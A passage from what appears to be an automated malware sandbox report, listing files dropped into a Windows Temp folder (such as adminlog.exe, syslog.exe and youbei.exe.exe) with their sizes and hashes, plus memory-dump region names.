40993ab1f8ff44610041bc86ffb661e2ce112843

SHA256
f8719dbcfeae26c606cccce8be7551bb9503611c7719eb3baec766679b9c0708

SHA512
3e001311bd0cae447ca8a209ef9aa4d037b803cc02ae62caac6608648de839dfd034e295de629e6790e3d2e778a7832dde292190aff3240ab7508340a17189ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\adminlog.exe

Filesize
110KB

MD5
198afc79333eaf3e25d7a06a993405bd

SHA1
40993ab1f8ff44610041bc86ffb661e2ce112843

SHA256
f8719dbcfeae26c606cccce8be7551bb9503611c7719eb3baec766679b9c0708

SHA512
3e001311bd0cae447ca8a209ef9aa4d037b803cc02ae62caac6608648de839dfd034e295de629e6790e3d2e778a7832dde292190aff3240ab7508340a17189ec

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe.exe

Filesize
108KB

MD5
77ac0e48ab54fddc6e9975b621ce74e8

SHA1
b0efc7eab97293e4fdd397bcded0d4f9aae9b1b1

SHA256
ef450e5cf2f12feab698ab449daf8753519d2403aa906c324e6245c6e30a6d27

SHA512
8125392df29d2a4da08bce85bc8ca10b1a386fd0ccfebf8e947c06ad01ae619de43b197e683d43cd8345b6c9c7fcbc529b238c036ac7e5aa91f173fc6cc344cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe.exe

Filesize
108KB

MD5
77ac0e48ab54fddc6e9975b621ce74e8

SHA1
b0efc7eab97293e4fdd397bcded0d4f9aae9b1b1

SHA256
ef450e5cf2f12feab698ab449daf8753519d2403aa906c324e6245c6e30a6d27

SHA512
8125392df29d2a4da08bce85bc8ca10b1a386fd0ccfebf8e947c06ad01ae619de43b197e683d43cd8345b6c9c7fcbc529b238c036ac7e5aa91f173fc6cc344cb

Download Submit
C:\Users\Admin\AppData\Local\Temp\syslog.exe

Filesize
333KB

MD5
dced098a79491254cede6a394a75ce8a

SHA1
79e388c12cf97224760b6ff569de064fe1c07a07

SHA256
209449d7a7754ae6c94e9d59307cefb50938fe22583694e41fb798ff1869da09

SHA512
e37dccfe9b8c6245e28968e0109066965e29b5130b734d2b88396dc494ffa069abad376ddf77dd45a4e655058924a613c9523f2c9c72ee094fbbfa1b4db3faf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\syslog.exe

Filesize
333KB

MD5
dced098a79491254cede6a394a75ce8a

SHA1
79e388c12cf97224760b6ff569de064fe1c07a07

SHA256
209449d7a7754ae6c94e9d59307cefb50938fe22583694e41fb798ff1869da09

SHA512
e37dccfe9b8c6245e28968e0109066965e29b5130b734d2b88396dc494ffa069abad376ddf77dd45a4e655058924a613c9523f2c9c72ee094fbbfa1b4db3faf9

Download Submit
C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe

Filesize
196KB

MD5
792e254fd857e8f27298cff7722638cb

SHA1
74db1fb851f8c4ccb92baef27f1582c6f4546e5a

SHA256
11d2675f23b64161dbc1b268bd3ba5237e256900d8704ce31212ad8d00640936

SHA512
02808a80d5b8bcc0eb90537e114c36ac2c5ca14d7bbfec6d39bfd8238920c29b127f32a8725a65b473e595075bf61f2deb59aed7e4ac7ca6925766e42519bc8f

Download Submit
C:\Users\Admin\AppData\Local\Temp\youbei.exe.exe

Filesize
196KB

MD5
792e254fd857e8f27298cff7722638cb

SHA1
74db1fb851f8c4ccb92baef27f1582c6f4546e5a

SHA256
11d2675f23b64161dbc1b268bd3ba5237e256900d8704ce31212ad8d00640936

SHA512
02808a80d5b8bcc0eb90537e114c36ac2c5ca14d7bbfec6d39bfd8238920c29b127f32a8725a65b473e595075bf61f2deb59aed7e4ac7ca6925766e42519bc8f

Download Submit
memory/2980-200-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2980-190-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/2980-189-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/5076-184-0x0000000000400000-0x0000000000421000-memory.dmp

Filesize
132KB

Download
memory/5076-132-0x0000000000400000-0x0000000000421000-memory.dmp

Filesize
132KB

Download